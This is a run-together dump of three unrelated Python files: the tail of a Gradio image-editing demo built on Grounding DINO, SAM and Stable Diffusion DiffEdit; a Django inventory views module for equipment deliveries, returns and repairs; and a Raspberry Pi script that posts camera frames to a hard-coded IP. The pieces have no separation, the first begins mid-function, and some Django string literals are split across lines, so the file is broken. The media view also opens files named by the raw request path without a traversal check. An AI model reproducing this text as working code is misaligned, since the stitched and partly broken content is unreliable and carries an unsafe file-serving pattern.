    print('Inverted prompt: {}'.format(prompt_inversion))
    print('Editing prompt: {}'.format(prompt))

    # load model
    model = load_model(config_file, grounded_checkpoint, device=device)

    # run grounding dino model
    boxes_filt, pred_phrases = get_grounding_output(
        model, image, det_prompt, box_threshold, text_threshold, device=device
    )

    # initialize SAM
    predictor = SamPredictor(build_sam(checkpoint=sam_checkpoint).to(device))
    image = cv2.imread(image_path)
    image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
    predictor.set_image(image)

    size = image_pil.size
    H, W = size[1], size[0]
    for i in range(boxes_filt.size(0)):
        boxes_filt[i] = boxes_filt[i] * torch.Tensor([W, H, W, H])
        boxes_filt[i][:2] -= boxes_filt[i][2:] / 2
        boxes_filt[i][2:] += boxes_filt[i][:2]

    boxes_filt = boxes_filt.cpu()
    transformed_boxes = predictor.transform.apply_boxes_torch(boxes_filt, image.shape[:2]).to(device)

    masks, _, _ = predictor.predict_torch(
        point_coords = None,
        point_labels = None,
        boxes = transformed_boxes.to(device),
        multimask_output = False,
    )
    # masks: [1, 1, 512, 512]

    # Masked diffedit pipeline
    if mask_mode == 'merge':
        masks = torch.sum(masks, dim=0).unsqueeze(0)
        masks = torch.where(masks > 0, True, False)

    mask = masks[0][0].cpu().numpy() # simply choose the first mask, which will be refine in the future release
    mask_pil = Image.fromarray(mask)
    image_pil = Image.fromarray(image)

    scheduler =DDIMScheduler(beta_start=0.00085, beta_end=0.012, beta_schedule="scaled_linear", clip_sample=False,
                                        set_alpha_to_one=False)
    pipe = StableDiffusionMaskedDiffeditPipeline.from_pretrained("CompVis/stable-diffusion-v1-4", scheduler=scheduler)
    pipe.to(device)

    image_pil = image_pil.resize((512, 512))
    mask_pil = mask_pil.resize((512, 512))
    image = pipe(prompt, image=image_pil, mask_image=mask_pil, prompt_inversion=prompt_inversion, encoding_ratio=encoding_ratio).images[0]
    image = image.resize(size)

    return image

with gr.Blocks() as demo:
    with gr.Row():
        gr.Markdown("""# Instruct Diffedit: to edit an image based on a user instruction.
                No mask or prompting is needed.""")
    with gr.Row():
        with gr.Column():
            image = gr.Image(type='filepath', label='Input image', value='./example_input/cat_dog.jpg')
            user_instructions = gr.Textbox(lines=3, label='User instructions', value='Change the cat to a fox')
            is_blip2_description = gr.Checkbox(label='Use Blip2 description')
            encoding_ratio = gr.Slider(label='Encoding ratio', minimum=0.0, maximum=1.0, step=0.05, value=0.5)
            mask_mode = gr.Dropdown(label='Mask mode', choices=['merge', 'max'], value='max')

        with gr.Column():
            output_image = gr.Image(type='pil', label='Output image')
            edit_btn = gr.Button('Edit')
            edit_btn.click(fn=maskedit, inputs=[image, user_instructions, is_blip2_description, encoding_ratio, mask_mode], outputs=[output_image], api_name='maskedit')

demo.queue().launch(share=True)


from django.shortcuts import render
from django.http import HttpResponse,HttpResponseRedirect,HttpResponseBadRequest,HttpResponseNotFound
from .models import (Delivery,Equipment,Consumption,Issued_equipment,
	Returned,Returned_equipment,Basket,Basket_equipment,Repair,Repair_equipment)
from django.template import loader
from django.db.models import F
from django.http import JsonResponse
from django.utils import timezone
import json

def main(req):
	return render(req,'main.html')

def media(req):
	from django.http import FileResponse
	import os
	path=req.path.replace('/','\\')
	BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
	url=BASE_DIR+path
	if os.path.isfile(url):
		response = FileResponse(open(url, 'rb'))
		return response
	else:
		return HttpResponseNotFound("
Файл удален
")

def receiving(req):
	coming=Delivery.objects.all()
	context={'coming':coming}
	return render(req,'receiving.html',context)

def received_equipment(req,date_id):
	record=Equipment.objects.filter(delivery=date_id)
	current_delivery=Delivery.objects.get(pk=date_id)
	context={'record':record,'current_delivery':current_delivery}
	return render(req,'received_equipment.html',context)

def add_equipment(req):
	if(req.method=="POST"):
		def add_Delivery():
			obj=Delivery()
			obj.supplier=req.POST.get('supplier')
			if('file' in req.FILES):
				obj.file=req.FILES['file']
			obj.save()
		flag=True
		i = 0
		while i < len(dict(req.POST)['name']):
			if(dict(req.POST)['name'][i].strip() and dict(req.POST)['count'][i]):
				if(flag):
					add_Delivery()
					flag=False
				obj=Equipment()
				obj.name=dict(req.POST)['name'][i]
				obj.count=dict(req.POST)['count'][i]
				obj.in_stock=dict(req.POST)['count'][i]
				obj.note=dict(req.POST)['note'][i]
				obj.delivery=Delivery.objects.all().first()
				obj.save()
			i += 1
	return HttpResponseRedirect("/delivery")

def transfer(req):
	if(req.method=="POST"):
		def add_Consumption():
			obj=Consumption()
			obj.customer=req.POST.get('supplier')
			if('file' in req.FILES):
				obj.file=req.FILES['file']
			obj.save()
		flag=True
		i = 0
		while i < len(dict(req.POST)['name']):
			obj=Issued_equipment()
			if(dict(req.POST)['name'][i].strip() and dict(req.POST)['count'][i]):
				equipment_delivery=Equipment.objects.get(pk=dict(req.POST)['pk'][i])
				if(equipment_delivery.in_stock>=int(dict(req.POST)['count'][i])):
					if(flag):
						add_Consumption()
						flag=False
					obj.equipment=equipment_delivery
					obj.count=dict(req.POST)['count'][i]
					equipment_delivery.in_stock=equipment_delivery.in_stock-int(obj.count)
					equipment_delivery.save()
					obj.note=dict(req.POST)['note'][i]
					obj.consumption=Consumption.objects.all().first()
					obj.save()
			i += 1
	return HttpResponseRedirect("/delivery")

def issue(req):
	consumption=Consumption.objects.all()
	context={'consumption':consumption}
	return render(req,'issue.html',context)

def issued_equipment(req,date_id):
	record=Issued_equipment.objects.filter(consumption=date_id)
	for i in record:
		i.name=Equipment.objects.get(pk=i.equipment_id)
	current_delivery=Consumption.objects.get(pk=date_id)
	context={'record':record,'current_delivery':current_delivery}
	return render(req,'issued_equipment.html',context)

def all_equipment(req):
	equipment_list=[]
	data_equipment_list=Delivery.objects.all()
	for i in data_equipment_list:
		record=Equipment.objects.filter(delivery_id=i.id).order_by('name','-in_stock')
		for j in record:
			j.supplier=i.supplier
			j.date=i.date
			equipment_list.append(j)
	context={'record':equipment_list}
	return render(req,'all_equipment.html',context)

def all_issued_equipment(req):
	equipment_list=[]
	data_equipment_list=Consumption.objects.all()
	for i in data_equipment_list:
		obj=Issued_equipment.objects.filter(consumption_id=i.id)
		for j in obj:
			name=Equipment.objects.get(id=j.equipment_id)
			j.name=name
			j.date=i.date
			j.customer=i.customer
			equipment_list.append(j)
	context={'record':equipment_list}
	return render(req,'all_issued_equipment.html',context)

def all_returned_equipment(req):
	equipment_list=[]
	data_equipment_list=Returned.objects.all()
	for i in data_equipment_list:
		obj=Returned_equipment.objects.filter(consumption_id=i.id)
		for j in obj:
			j.name=Issued_equipment.objects.get(id=j.equipment_id)
			j.date=i.date
			j.supplier=i.supplier
			equipment_list.append(j)
	context={'record':equipment_list}
	return render(req,'all_returned_equipment.html',context)

def returned(req):
	returned=Returned.objects.all()
	context={'returned':returned}
	return render(req,'returned.html',context)

def returned_equipment(req,date_id):
	record=Returned_equipment.objects.filter(consumption=date_id)
	for i in record:
		i.name=Issued_equipment.objects.get(pk=i.equipment_id)
	current_delivery=Returned.objects.get(pk=date_id)
	context={'record':record,'current_delivery':current_delivery}
	return render(req,'returned_equipment.html',context)

def returns_add(req):
	def add_Returned():# добавляем в главную таблицу по возвратам
		obj=Returned()
		obj.supplier=req.POST.get('supplier')
		if('file' in req.FILES):
			obj.file=req.FILES['file']
		obj.save()

	def change_count(input_checkbox):#изменяем кол-во в таблице принятых и выданных
		Issued_equipment.objects.filter(pk=dict(req.POST)['pk'][i]).update(return_count = F("return_count") + dict(req.POST)['count'][i])
		if(input_checkbox==False):
			obj=Issued_equipment.objects.get(pk=dict(req.POST)['pk'][i])
			obj=Equipment.objects.get(pk=obj.equipment_id)
			Equipment.objects.filter(pk=obj.pk).update(in_stock = F("in_stock") + dict(req.POST)['count'][i])

	if(req.method=="POST"):
		i = 0
		flag=True
		while i < len(dict(req.POST)['pk']):
			if(dict(req.POST)['name'][i].strip() and dict(req.POST)['count'][i]):
				if(flag):
					add_Returned()
					flag=False
				input_checkbox=json.loads(dict(req.POST)['input_checkbox'][i])
				change_count(input_checkbox)
				obj=Returned_equipment()
				obj.repair=input_checkbox
				obj.count=dict(req.POST)['count'][i]
				obj.note=dict(req.POST)['note'][i]
				obj.consumption=Returned.objects.all().first()
				obj.equipment=Issued_equipment.objects.get(pk=dict(req.POST)['pk'][i])
				obj.save()
			i+=1

	return HttpResponseRedirect("/issue")

def repair_add(req):
	def change_count():#изменяем кол-во в таблице принятых и выданных
		Returned_equipment.objects.filter(pk=dict(req.POST)['pk'][i]).update(count = F("count") - dict(req.POST)['count'][i])
	if(req.method=="POST"):
		def add_Repair():
			obj=Repair()
			obj.service_center=req.POST.get('service_center')
			if('file' in req.FILES):
				obj.file_from=req.FILES['file']
			obj.save()
		flag=True
		i=0
		while i < len(dict(req.POST)['name']):
			if(dict(req.POST)['name'][i].strip() and dict(req.POST)['count'][i]):
				if(flag):
					add_Repair()
					flag=False
				change_count()
				obj=Repair_equipment()
				obj.count=dict(req.POST)['count'][i]
				obj.note=dict(req.POST)['note'][i]
				obj.key=Repair.objects.all().first()
				obj.equipment=Returned_equipment.objects.get(pk=dict(req.POST)['pk'][i])
				obj.save()
			i += 1
	return HttpResponseRedirect("/returned")

def out_of_repair(req):
	if(req.method=="POST"):
		pk=dict(req.POST)['pk'][0]
		obj=Repair.objects.get(id=pk)
		if('file' in req.FILES):
			obj.file_from=req.FILES['file']
		obj.date_back=timezone.now()
		obj.save()
		obj=Repair_equipment.objects.filter(key_id=pk)
		for i in obj:
			s1=Returned_equipment.objects.filter(id=i.equipment_id)
			s2=Issued_equipment.objects.filter(id=s1[0].equipment_id)
			Equipment.objects.filter(id=s2[0].equipment_id).update(in_stock = F("in_stock") + i.count)
	return JsonResponse({"url": "/repair"})

def repair(req):
	coming=Repair.objects.all()
	context={'coming':coming}
	return render(req,'repair.html',context)

def repair_equipment(req,date_id):
	record=Repair_equipment.objects.filter(key_id=date_id)
	for i in record:
		i.name=Returned_equipment.objects.get(pk=i.equipment_id)
	current_delivery=Repair.objects.get(pk=date_id)
	context={'record':record,'current_delivery':current_delivery}
	return render(req,'repair_equipment.html',context)

def basket_add(req):
	def change_count():#изменяем кол-во в таблице принятых и выданных
		Returned_equipment.objects.filter(pk=dict(req.POST)['pk'][i]).update(count = F("count") - dict(req.POST)['count'][i])
	if(req.method=="POST"):
		def add_Basket():
			obj=Basket()
			if('file' in req.FILES):
				obj.file=req.FILES['file']
			obj.save()
		flag=True
		i=0
		while i < len(dict(req.POST)['name']):
			if(dict(req.POST)['name'][i].strip() and dict(req.POST)['count'][i]):
				if(flag):
					add_Basket()
					flag=False
				change_count()
				obj=Basket_equipment()
				obj.count=dict(req.POST)['count'][i]
				obj.note=dict(req.POST)['note'][i]
				obj.key=Basket.objects.all().first()
				obj.equipment=Returned_equipment.objects.get(pk=dict(req.POST)['pk'][i])
				obj.save()
			i += 1
	return HttpResponseRedirect("/returned")

def basket(req):
	coming=Basket.objects.all()
	context={'coming':coming}
	return render(req,'basket.html',context)

def basket_equipment(req,date_id):
	record=Basket_equipment.objects.filter(key_id=date_id)
	for i in record:
		i.name=Returned_equipment.objects.get(pk=i.equipment_id)
	current_delivery=Basket.objects.get(pk=date_id)
	context={'record':record,'current_delivery':current_delivery}
	return render(req,'basket_equipment.html',context)

def all_basket_equipment(req):
	equipment_list=[]
	data_equipment_list=Basket.objects.all()
	for i in data_equipment_list:
		obj=Basket_equipment.objects.filter(key_id=i.id)
		for j in obj:
			j.name=Returned_equipment.objects.get(id=j.equipment_id)
			j.date=i.date
			equipment_list.append(j)
	context={'record':equipment_list}
	return render(req,'all_basket_equipment.html',context)

def notFound(req):
    return HttpResponseNotFound("
Not Found
")


import requests
import cv2
from imutils.video.pivideostream import PiVideoStream
import imutils
import time
import numpy as np

base_url = '35.236.20.13'

class VideoCamera(object):
    def __init__(self, flip = False):
        self.vs = PiVideoStream().start()
        self.flip = flip

    def __del__(self):
        self.vs.stop()

    def flip_if_needed(self, frame):
        if self.flip:
            return np.flip(frame, 0)
        return frame

    def get_frame(self):
        frame = self.flip_if_needed(self.vs.read())
        ret, jpeg = cv2.imencode('.jpg', frame)
        return jpeg.tobytes()

    def post_image(self):
        img = self.get_frame()
        url = 'http://' + base_url + '/prediction'
        files = {'file': img}
        response = requests.post(url, files=files)
        return response

def main():

    pi_camera = VideoCamera(flip=False)
    # base_url = input('Server URL: ') + ':5000'

    while True:
        print('Requesting prediction to http://' + base_url + '/prediction')
        res = pi_camera.post_image()
        print(res)
        # if cv2.waitKey(1) & 0xFF == ord('q'):
        #    break

        time.sleep(5)

    print('END')

if __name__ == '__main__':
    main()